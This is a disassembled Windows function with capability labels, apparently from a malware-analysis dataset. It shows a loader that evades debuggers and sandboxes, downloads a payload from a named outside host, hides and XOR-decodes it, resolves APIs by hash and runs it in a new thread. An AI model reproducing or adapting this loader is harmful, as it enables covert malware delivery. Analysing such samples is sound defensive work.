Function at 0x407560
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Get kernel32 base address
Get memory capacity
Get process filename
Get system information on windows
Hash data using fnv
Hide graphical window
Initialize winhttp library
Prepare http request
Read file on windows
Read http header
Receive http response
Resolve function by parsing pe exports
Set file attributes
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
mov eax, 0x19d0
call fcn.0040c940
mov esi, esp
mov dword [esi + 0x19b8], ebp
stmxcsr dword [esi + 0x1b8]
or dword [esi + 0x1b8], 0x8040
ldmxcsr dword [esi + 0x1b8]
lea eax, [esi + 0x19c0]
mov dword [eax - 4], esp
mov dword [eax + 8], 0xffffffff
mov dword [eax + 4], fcn.0040a3a0
mov ecx, dword fs:[0]
mov dword [eax], ecx
mov dword fs:[0], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x4075cc
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [esi + 0x1b8], 0
push 0x4368ee
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esi + 0x14], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
add eax, 0xc
mov eax, dword [eax]
mov dword [esi + 0x10], eax
mov ecx, dword [eax + 0x18]
mov eax, dword [ecx + 0x3c]
mov edx, dword [ecx + eax + 0x78]
mov eax, edx
mov dword [esi + 4], edx
test edx, edx
je 0x40765a
mov eax, dword [esi + 4]
mov ebx, dword [ecx + eax + 0x18]
test ebx, ebx
je 0x40765a
mov eax, dword [esi + 4]
mov eax, dword [ecx + eax + 0x20]
add eax, ecx
mov dword [esi + 8], eax
lea eax, [ecx + 1]
mov dword [esi + 0xc], eax
mov eax, dword [esi + 8]
mov edi, dword [eax + ebx*4 - 4]
dec ebx
mov al, byte [ecx + edi]
test al, al
je 0x407656
add edi, dword [esi + 0xc]
mov edx, 0xc0b4383c
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [edi]
inc edi
test al, al
jne 0x40763c
cmp edx, 0x24a3b950
je 0x40765f
test ebx, ebx
jne 0x407625
mov eax, dword [esi + 0x10]
jmp 0x4075f0
mov edx, dword [esi + 4]
mov eax, dword [ecx + edx + 0x1c]
add eax, ecx
mov edx, dword [ecx + edx + 0x24]
add edx, ecx
movzx edx, word [edx + ebx*2]
add ecx, dword [eax + edx*4]
mov dword [esi + 0x19c8], 0xffffffff
push str.CheckRemoteDebuggerPresent
push dword [esi + 0x14]
call ecx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ebx, [esi + 0x1b8]
push ebx
push eax
call edi
cmp dword [ebx], 1
je 0x408344
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
xor edi, edi
push edi
push 0x3e8
push edx
push eax
call fcn.0040c8d0
mov ecx, 0x63
cmp ecx, eax
sbb edi, edx
jae 0x408344
lea edi, [esi + 0x48]
push edi
push 0x1000
lea eax, [esi + 0x1b8]
push eax
call sub.KERNEL32.dll_K32EnumProcesses
mov eax, dword [edi]
shr eax, 2
cmp eax, 9
jbe 0x408344
lea edi, [esi + 0x154]
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [edi + 0x14], 2
jb 0x40832e
lea edi, [esi + 0x178]
mov dword [edi], 0x40
push edi
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, 0xfffff
and eax, dword [edi + 0xc]
mov ecx, 0xc0000000
and ecx, dword [edi + 8]
or ecx, eax
je 0x40832e
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
add eax, 0xc
mov eax, dword [eax]
mov dword [esi + 0x10], eax
mov ecx, dword [eax + 0x18]
mov eax, dword [ecx + 0x3c]
mov edx, dword [ecx + eax + 0x78]
mov eax, edx
mov dword [esi + 4], edx
test edx, edx
je 0x4077a3
mov eax, dword [esi + 4]
mov edi, dword [ecx + eax + 0x18]
test edi, edi
je 0x4077a3
mov eax, dword [esi + 4]
mov eax, dword [ecx + eax + 0x20]
add eax, ecx
mov dword [esi + 8], eax
lea eax, [ecx + 1]
mov dword [esi + 0xc], eax
mov eax, dword [esi + 8]
mov edx, dword [eax + edi*4 - 4]
dec edi
mov al, byte [ecx + edx]
test al, al
je 0x40779f
add edx, dword [esi + 0xc]
mov ebx, 0xcf94d8fa
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
mov al, byte [edx]
inc edx
test al, al
jne 0x407785
cmp ebx, 0xd6e8f62d
je 0x4077a8
test edi, edi
jne 0x40776e
mov eax, dword [esi + 0x10]
jmp 0x407739
mov edx, dword [esi + 4]
mov eax, dword [ecx + edx + 0x1c]
add eax, ecx
mov edx, dword [ecx + edx + 0x24]
add edx, ecx
movzx edx, word [edx + edi*2]
add ecx, dword [eax + edx*4]
mov dword [esi + 0x19c8], 0xffffffff
sub esp, 0x1c
xor edi, edi
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], edi
movaps xmm0, xmmword [0x4357c0]
movups xmmword [esp + 4], xmm0
mov dword [esp], str..PhysicalDrive0
call ecx
lea ecx, [esi + 0x100]
lea ebx, [esi + 0x138]
push edi
push ecx
push 0x18
push ebx
push edi
push edi
push 0x70000
push eax
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov edi, dword [ebx + 0xc]
mov eax, edi
mul dword [ebx]
mov ecx, edx
mov edx, dword [ebx + 4]
imul edx, edi
add ecx, edx
mov edx, dword [ebx + 0x10]
imul ecx, edx
mul edx
add ecx, edx
mov edx, dword [ebx + 0x14]
imul ecx, edx
mul edx
lea edi, [edx + ecx]
sar edi, 0x1f
shr edi, 2
add edi, eax
adc ecx, edx
shld ecx, edi, 2
cmp ecx, 0x2d
jb 0x40832e
push 0
push 0x4367fa
call fcn.00411dc1
add esp, 8
test eax, eax
jne 0x407866
push 0x4367fa
call fcn.0041679c
add esp, 4
mov ebx, dword [ebp + 0xc]
mov dword [ebx + 4], str.http:__mricossoftmanager.info_GyQbExsenB0snkx
mov dword [ebx + 8], 0x4367fa
mov ecx, str.http:__mricossoftmanager.info_GyQbExsenB0snkx
call fcn.0040a35a
mov dword [esi + 8], eax
mov ecx, dword [ebx + 8]
call fcn.0040a35a
mov dword [esi + 4], eax
xor edi, edi
push 0x1800
push edi
lea ebx, [esi + 0x1b8]
push ebx
call fcn.0040a460
add esp, 0xc
xorps xmm0, xmm0
movups xmmword [esi + 0x54], xmm0
mov dword [esi + 0x48], 0x3c
lea eax, [esi + 0x15b8]
mov dword [esi + 0x7c], eax
mov eax, 0x400
add eax, ebx
mov dword [esi + 0x58], eax
lea eax, [esi + 0xdb8]
mov dword [esi + 0x6c], eax
mov dword [esi + 0x4c], ebx
lea eax, [esi + 0x11b8]
mov dword [esi + 0x74], eax
lea eax, [esi + 0x9b8]
mov dword [esi + 0x64], eax
mov eax, 0x200
mov dword [esi + 0x68], eax
mov dword [esi + 0x78], eax
mov dword [esi + 0x50], eax
mov dword [esi + 0x70], eax
mov dword [esi + 0x5c], eax
mov dword [esi + 0x80], eax
lea eax, [esi + 0x48]
push eax
push 0x80000000
push edi
push dword [esi + 8]
call dword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
sub esp, 0x14
mov dword [esp + 0x10], edi
movaps xmm0, xmmword [0x4357d0]
movups xmmword [esp], xmm0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
lea ecx, [esi + 0x2c]
mov dword [ecx], 4
lea ecx, [esi + 0x1c]
xor edx, edx
mov dword [ecx], edx
movzx ecx, word [esi + 0x60]
push edx
xor edi, edi
push ecx
push dword [esi + 0x58]
mov dword [esi + 0x14], eax
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [esi + 0x10], eax
mov ecx, 0x100
mov edx, str.HTTP_1.1
push ecx
push edi
push edi
push edx
push dword [esi + 0x74]
push str.HEAD
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edi, eax
sub esp, 0x1c
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
xor ebx, ebx
xorps xmm0, xmm0
movups xmmword [esp + 4], xmm0
mov dword [esp], edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
push ebx
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
lea eax, [esi + 0x20]
lea ecx, [esi + 0x1c]
push ecx
lea ecx, [esi + 0x2c]
push ecx
push eax
push ebx
push 0x20000005
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, 0x100
push eax
push ebx
push ebx
mov eax, str.HTTP_1.1
push eax
push dword [esi + 0x74]
push 0x4368dc
push dword [esi + 0x10]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov ebx, eax
sub esp, 0x1c
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], eax
xor edi, edi
xorps xmm0, xmm0
movups xmmword [esp + 4], xmm0
mov dword [esp], ebx
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
push edi
mov dword [esi + 0xc], ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov eax, 0x400
push eax
call fcn.0040ba10
add esp, 4
mov dword [esi + 8], eax
sub esp, 0x1c
mov dword [esp + 0x18], edi
movaps xmm0, xmmword [0x4357e0]
movups xmmword [esp + 4], xmm0
mov eax, dword [esi + 4]
mov dword [esp], eax
mov dword [esp + 0x14], 0x80
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
xor eax, eax
lea ecx, [esi + 0x20]
cmp dword [ecx], eax
je 0x407a9d
xor edi, edi
mov dword [esi + 4], ebx
mov ecx, 0x400
push ecx
push eax
mov ebx, dword [esi + 8]
push ebx
call fcn.0040a460
add esp, 0xc
lea eax, [esi + 0x104]
push eax
mov eax, 0x400
push eax
mov eax, dword [esi + 0xc]
push ebx
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov eax, dword [esi + 0x104]
add edi, eax
xor ecx, ecx
push ecx
lea ecx, [esi + 0x104]
push ecx
push eax
push ebx
mov ebx, dword [esi + 4]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
cmp dword [esi + 0x20], edi
ja 0x407a4d
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esi + 8]
call fcn.0040b9da
add esp, 4
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push dword [esi + 0xc]
call edi
push dword [esi + 0x10]
call edi
push dword [esi + 0x14]
call edi
push 0x104
push 0x435800
lea edi, [esi + 0x1b8]
push edi
call fcn.0040a510
add esp, 0xc
push 2
push str.GyQbExsenB0snkx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push edi
call fcn.00411dc1
add esp, 8
test eax, eax
jne 0x40832e
mov eax, dword [ebp + 0xc]
mov edi, dword [eax + 8]
mov dword [esi + 0x2c], 0
mov dword [esi + 0x40], 0xf
mov byte [esi + 0x2c], 0
push edi
call fcn.00416df0
add esp, 4
mov ebx, eax
cmp eax, 0xf
jbe 0x407b6d
test ebx, ebx
js 0x40834b
mov dword [esi + 8], ebx
or ebx, 0xf
cmp ebx, 0x17
mov ecx, 0x16
cmovae ecx, ebx
mov dword [esi + 0x19c8], 0xffffffff
cmp ecx, 0xfff
mov dword [esi + 0xc], edi
mov dword [esi + 4], ecx
jb 0x407b92
lea eax, [ecx + 0x24]
push eax
call fcn.0040b9aa
add esp, 4
lea ebx, [eax + 0x23]
and ebx, 0xffffffe0
mov dword [ebx - 4], eax
jmp 0x407ba0
mov dword [esi + 0x3c], ebx
push ebx
push edi
lea edi, [esi + 0x2c]
push edi
call fcn.0040e4d0
add esp, 0xc
mov byte [esi + ebx + 0x2c], 0
mov ebx, dword [esi + 0x2c]
mov dword [esi + 0x19c8], 0
jmp 0x407bc3
lea eax, [ecx + 1]
push eax
call fcn.0040b9aa
add esp, 4
mov ebx, eax
mov edi, dword [esi + 8]
mov dword [esi + 0x3c], edi
mov eax, dword [esi + 4]
mov dword [esi + 0x40], eax
push edi
push dword [esi + 0xc]
push ebx
call fcn.0040a510
add esp, 0xc
mov byte [ebx + edi], 0
mov dword [esi + 0x2c], ebx
lea edi, [esi + 0x2c]
cmp dword [esi + 0x40], 0x10
cmovae edi, ebx
mov dword [esi + 8], edi
mov dword [esi + 0x48], 0x435930
mov dword [esi + 0xb8], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov dword [esi + 0xb4], 0x58
xor eax, eax
mov dword [esi + 0x54], eax
mov dword [esi + 0x50], eax
mov dword [esi + 0xe8], eax
mov dword [esi + 0xd4], eax
mov dword [esi + 0xd0], 6
movaps xmm0, xmmword [0x4357f0]
movups xmmword [esi + 0xc0], xmm0
xorps xmm0, xmm0
movups xmmword [esi + 0xd8], xmm0
mov dword [esi + 0x19c8], eax
push 8
call fcn.0040b9aa
add esp, 4
mov edi, eax
lea ebx, [esi + 0x58]
mov ecx, eax
call fcn.004084da
mov dword [ebx + 0x90], edi
mov dword [ebx + 0x98], ebx
xor eax, eax
mov dword [ebx + 0x9c], eax
xor ebx, ebx
mov ecx, dword [edi + 4]
lea edi, [esi + 0x20]
mov dword [edi + 4], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [esi + 0x1c]
push ebx
call fcn.0040b000
mov eax, dword [0x441e88]
mov dword [esi + 0xc], eax
mov ecx, 0x440df0
call fcn.0040853e
mov dword [esi + 0x19c8], 4
mov ecx, edi
push eax
call fcn.0040858e
mov edi, eax
test eax, eax
jne 0x407d2a
mov eax, dword [esi + 0xc]
mov edi, eax
test eax, eax
jne 0x407d2a
push 0x18
call fcn.0040b9aa
add esp, 4
mov edx, dword [esi + 0x24]
test edx, edx
mov dword [esi + 0xc], eax
je 0x407cc3
mov ecx, dword [edx + 0x18]
add edx, 0x1c
test ecx, ecx
cmovne edx, ecx
jmp 0x407cc8
mov edx, 0x4368ba
mov dword [esi + 0x19c8], 6
lea ecx, [esi + 0x104]
push edx
call fcn.004085c6
mov edi, dword [esi + 0xc]
mov dword [edi + 4], 0
mov dword [edi], vtable.std::ctype_char_.0
mov eax, edi
add eax, 8
push eax
call fcn.0040b743
add esp, 4
lea ecx, [esi + 0x104]
call fcn.004086d2
mov dword [esi + 0x19c8], 5
push edi
call fcn.0040b0a4
add esp, 4
mov edi, dword [esi + 0xc]
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
mov dword [0x441e88], edi
lea ecx, [esi + 0x1c]
call fcn.0040b031
mov eax, dword [edi]
mov eax, dword [eax + 0x20]
mov dword [esi + 0x19c8], 3
mov ecx, edi
push 0x20
call eax
mov ebx, eax
lea ecx, [esi + 0x20]
call fcn.00408766
mov byte [esi + 0xf8], bl
cmp dword [esi + 0xf0], 0
jne 0x407d7a
lea ecx, [esi + 0xb8]
mov dword [esi + 0x19c8], 0
mov edx, 4
call fcn.00408780
mov eax, dword [esi + 0x48]
mov eax, dword [eax + 4]
mov dword [esi + eax + 0x48], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [esi + 0x48]
mov eax, dword [eax + 4]
lea ecx, [eax - 0x70]
mov dword [esi + eax + 0x44], ecx
mov dword [esi + 0x58], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov dword [esi + 0x19c8], 0
push 8
call fcn.0040b9aa
add esp, 4
mov edi, eax
mov ecx, eax
call fcn.004084da
lea eax, [esi + 0x5c]
mov dword [eax + 0x30], edi
mov dword [eax + 8], eax
lea eax, [esi + 0x60]
mov dword [eax + 8], eax
lea eax, [esi + 0x6c]
mov dword [eax + 8], eax
lea eax, [esi + 0x70]
mov dword [eax + 8], eax
lea eax, [esi + 0x7c]
mov dword [eax + 8], eax
lea edi, [esi + 0x80]
mov dword [edi + 8], edi
xor ebx, ebx
mov dword [edi - 0x20], ebx
mov dword [edi - 0x10], ebx
mov dword [edi], ebx
mov dword [edi - 0x24], ebx
mov dword [edi - 0x14], ebx
mov dword [edi - 4], ebx
mov dword [edi - 0x28], 0x435b44
lea ecx, [esi + 0x58]
xor edx, edx
push ebx
call fcn.00408852
add esp, 4
cmp dword [edi + 0x24], ebx
je 0x407e2f
mov eax, dword [esi + 0x48]
lea ecx, [esi + 0x48]
add ecx, dword [eax + 4]
mov dword [esi + 0x19c8], 1
mov edx, 2
call fcn.00408780
jmp 0x407e98
xor eax, eax
inc eax
mov dword [esi + 0x19c8], eax
push 0x40
push eax
push dword [esi + 8]
call fcn.0040b425
add esp, 0xc
test eax, eax
je 0x407e10
lea ecx, [esi + 0x58]
mov edx, eax
push 1
call fcn.00408852
add esp, 4
mov eax, dword [esi + 0x8c]
mov ecx, dword [eax + 4]
lea edi, [esi + 0x104]
mov dword [edi + 4], ecx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [esi + 0x19c8], 2
push edi
call fcn.00408900
add esp, 4
lea ecx, [esi + 0x58]
mov edx, eax
call fcn.00408a2a
lea ecx, [esi + 0x104]
call fcn.00408766
lea ecx, [esi + 0x48]
mov eax, dword [ecx]
mov eax, dword [eax + 4]
mov edi, dword [esi + eax + 0x54]
call fcn.00408b54
mov eax, dword [esi + 0x40]
cmp eax, 0x10
jb 0x407ee1
mov ecx, dword [esi + 0x2c]
lea ebx, [eax + 1]
cmp ebx, 0x1000
jb 0x407ed7
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x40835a
add eax, 0x24
mov ebx, eax
mov ecx, edx
push ebx
push ecx
call fcn.0040b9df
add esp, 8
test edi, edi
jne 0x40832e
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 8]
push 0x4368b5
mov dword [esi + 8], eax
push eax
call fcn.00414335
add esp, 8
mov edi, eax
push 2
push 0
push eax
call fcn.00414043
add esp, 0xc
push edi
call fcn.004159a0
add esp, 4
mov ebx, eax
push edi
call fcn.00416806
add esp, 4
push edi
call fcn.00414d84
add esp, 4
xor edi, edi
mov dword [esi + 0x14], ebx
test ebx, ebx
je 0x407f9e
push 0x4368b5
push dword [esi + 8]
call fcn.00414335
add esp, 8
test eax, eax
je 0x407f9c
mov edi, eax
mov dword [esi + 0x19c8], 0xffffffff
push dword [esi + 0x14]
call fcn.0040ba10
add esp, 4
mov ebx, eax
push edi
call fcn.00416806
add esp, 4
push edi
push dword [esi + 0x14]
push 1
mov dword [esi + 8], ebx
push ebx
call fcn.00415747
add esp, 0x10
mov ebx, eax
push edi
call fcn.00414d84
add esp, 4
test ebx, ebx
je 0x407f91
mov edi, dword [esi + 8]
jmp 0x407f9e
push dword [esi + 8]
call fcn.0040ba19
add esp, 4
xor edi, edi
push 0x4367fa
call fcn.0041679c
add esp, 4
mov al, byte [edi]
test al, al
je 0x407fc0
lea ecx, [edi + 1]
xor al, 9
mov byte [ecx - 1], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x407fb4
mov dword [esi + 0x18], edi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
add eax, 0xc
mov eax, dword [eax]
mov dword [esi + 0x10], eax
mov ecx, dword [eax + 0x18]
mov eax, dword [ecx + 0x3c]
mov edx, dword [ecx + eax + 0x78]
mov eax, edx
mov dword [esi + 4], edx
test edx, edx
je 0x408039
mov eax, dword [esi + 4]
mov edi, dword [ecx + eax + 0x18]
test edi, edi
je 0x408039
mov eax, dword [esi + 4]
mov eax, dword [ecx + eax + 0x20]
add eax, ecx
mov dword [esi + 8], eax
lea eax, [ecx + 1]
mov dword [esi + 0xc], eax
mov eax, dword [esi + 8]
mov edx, dword [eax + edi*4 - 4]
dec edi
mov al, byte [ecx + edx]
test al, al
je 0x408035
add edx, dword [esi + 0xc]
mov ebx, 0xacddac4d
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
mov al, byte [edx]
inc edx
test al, al
jne 0x40801b
cmp ebx, 0x2e1c3739
je 0x40803e
test edi, edi
jne 0x408004
mov eax, dword [esi + 0x10]
jmp 0x407fcf
mov edx, dword [esi + 4]
mov eax, dword [ecx + edx + 0x1c]
add eax, ecx
mov edx, dword [ecx + edx + 0x24]
add edx, ecx
movzx edx, word [edx + edi*2]
add ecx, dword [eax + edx*4]
mov dword [esi + 0x19c8], 0xffffffff
xor edi, edi
push 4
push 0x1000
push dword [esi + 0x14]
push edi
call ecx
mov dword [esi + 0x28], eax
mov dword [esi + 0x104], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esi + 0x44], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
add eax, 0xc
mov eax, dword [eax]
mov dword [esi + 0x10], eax
mov ecx, dword [eax + 0x18]
mov eax, dword [ecx + 0x3c]
mov edx, dword [ecx + eax + 0x78]
mov eax, edx
mov dword [esi + 4], edx
test edx, edx
je 0x4080f5
mov eax, dword [esi + 4]
mov edi, dword [ecx + eax + 0x18]
test edi, edi
je 0x4080f5
mov eax, dword [esi + 4]
mov eax, dword [ecx + eax + 0x20]
add eax, ecx
mov dword [esi + 8], eax
lea eax, [ecx + 1]
mov dword [esi + 0xc], eax
mov eax, dword [esi + 8]
mov ebx, dword [eax + edi*4 - 4]
dec edi
mov al, byte [ecx + ebx]
test al, al
je 0x4080f1
add ebx, dword [esi + 0xc]
mov edx, 0x1be516cf
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ebx]
inc ebx
test al, al
jne 0x4080d7
cmp edx, 0x1202c2f8
je 0x4080fa
test edi, edi
jne 0x4080c0
mov eax, dword [esi + 0x10]
jmp 0x40808b
mov edx, dword [esi + 4]
mov eax, dword [ecx + edx + 0x1c]
add eax, ecx
mov edx, dword [ecx + edx + 0x24]
add edx, ecx
movzx edx, word [edx + edi*2]
add ecx, dword [eax + edx*4]
mov dword [esi + 0x19c8], 0xffffffff
lea eax, [esi + 0x104]
push eax
push dword [esi + 0x14]
push dword [esi + 0x18]
mov edi, dword [esi + 0x28]
push edi
push dword [esi + 0x44]
call ecx
xor eax, eax
lea ecx, [esi + 0x48]
push ecx
push 4
push eax
push edi
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x18], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
add eax, 0xc
mov eax, dword [eax]
mov dword [esi + 0x10], eax
mov ecx, dword [eax + 0x18]
mov eax, dword [ecx + 0x3c]
mov edx, dword [ecx + eax + 0x78]
mov eax, edx
mov dword [esi + 4], edx
test edx, edx
je 0x4081bb
mov eax, dword [esi + 4]
mov edi, dword [ecx + eax + 0x18]
test edi, edi
je 0x4081bb
mov eax, dword [esi + 4]
mov eax, dword [ecx + eax + 0x20]
add eax, ecx
mov dword [esi + 8], eax
lea eax, [ecx + 1]
mov dword [esi + 0xc], eax
mov eax, dword [esi + 8]
mov edx, dword [eax + edi*4 - 4]
dec edi
mov al, byte [ecx + edx]
test al, al
je 0x4081b7
add edx, dword [esi + 0xc]
mov ebx, 0x43fd8e58
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
mov al, byte [edx]
inc edx
test al, al
jne 0x40819d
cmp ebx, 0x4a73b96a
je 0x4081c0
test edi, edi
jne 0x408186
mov eax, dword [esi + 0x10]
jmp 0x408151
mov edx, dword [esi + 4]
mov eax, dword [ecx + edx + 0x1c]
add eax, ecx
mov edx, dword [ecx + edx + 0x24]
add edx, ecx
movzx edx, word [edx + edi*2]
add ecx, dword [eax + edx*4]
mov dword [esi + 0x19c8], 0xffffffff
lea eax, [esi + 0x48]
push eax
push 0x20
push dword [esi + 0x14]
push dword [esi + 0x28]
call ecx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
add eax, 0xc
mov eax, dword [eax]
mov dword [esi + 0x10], eax
mov ecx, dword [eax + 0x18]
mov eax, dword [ecx + 0x3c]
mov edx, dword [ecx + eax + 0x78]
mov eax, edx
mov dword [esi + 4], edx
test edx, edx
je 0x408264
mov eax, dword [esi + 4]
mov edi, dword [ecx + eax + 0x18]
test edi, edi
je 0x408264
mov eax, dword [esi + 4]
mov eax, dword [ecx + eax + 0x20]
add eax, ecx
mov dword [esi + 8], eax
lea eax, [ecx + 1]
mov dword [esi + 0xc], eax
mov eax, dword [esi + 8]
mov edx, dword [eax + edi*4 - 4]
dec edi
mov al, byte [ecx + edx]
test al, al
je 0x408260
add edx, dword [esi + 0xc]
mov ebx, 0x470c9d9b
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
mov al, byte [edx]
inc edx
test al, al
jne 0x408246
cmp ebx, 0xaeeaa310
je 0x408269
test edi, edi
jne 0x40822f
mov eax, dword [esi + 0x10]
jmp 0x4081fa
mov edx, dword [esi + 4]
mov eax, dword [ecx + edx + 0x1c]
add eax, ecx
mov edx, dword [ecx + edx + 0x24]
add edx, ecx
movzx edx, word [edx + edi*2]
add ecx, dword [eax + edx*4]
mov dword [esi + 0x19c8], 0xffffffff
push dword [esi + 0x18]
call ecx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
add eax, 0xc
mov eax, dword [eax]
mov dword [esi + 0x10], eax
mov ecx, dword [eax + 0x18]
mov eax, dword [ecx + 0x3c]
mov edx, dword [ecx + eax + 0x78]
mov eax, edx
mov dword [esi + 4], edx
test edx, edx
je 0x408304
mov eax, dword [esi + 4]
mov edi, dword [ecx + eax + 0x18]
test edi, edi
je 0x408304
mov eax, dword [esi + 4]
mov eax, dword [ecx + eax + 0x20]
add eax, ecx
mov dword [esi + 8], eax
lea eax, [ecx + 1]
mov dword [esi + 0xc], eax
mov eax, dword [esi + 8]
mov edx, dword [eax + edi*4 - 4]
dec edi
mov al, byte [ecx + edx]
test al, al
je 0x408300
add edx, dword [esi + 0xc]
mov ebx, 0xb604fd93
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
mov al, byte [edx]
inc edx
test al, al
jne 0x4082e6
cmp ebx, 0xee32d82
je 0x408309
test edi, edi
jne 0x4082cf
mov eax, dword [esi + 0x10]
jmp 0x40829a
mov edx, dword [esi + 4]
mov eax, dword [ecx + edx + 0x1c]
add eax, ecx
mov edx, dword [ecx + edx + 0x24]
add edx, ecx
movzx edx, word [edx + edi*2]
add ecx, dword [eax + edx*4]
xor eax, eax
dec eax
mov dword [esi + 0x19c8], eax
push eax
push dword [esi + 0x18]
call ecx
mov eax, dword [esi + 0x19c0]
mov dword fs:[0], eax
xor eax, eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push 1
call fcn.00411e8a
mov dword [esi + 0x19c8], 0xffffffff
call fcn.00408439
call fcn.00414746
push ebp
sub esp, 0x20
lea esi, [ebp - 0x19cc]
mov ebp, dword [esi + 0x19b8]
mov ecx, dword [esi + 0xc]
mov eax, dword [ecx]
push 1
call dword [eax]
add esp, 0x20
pop ebp
ret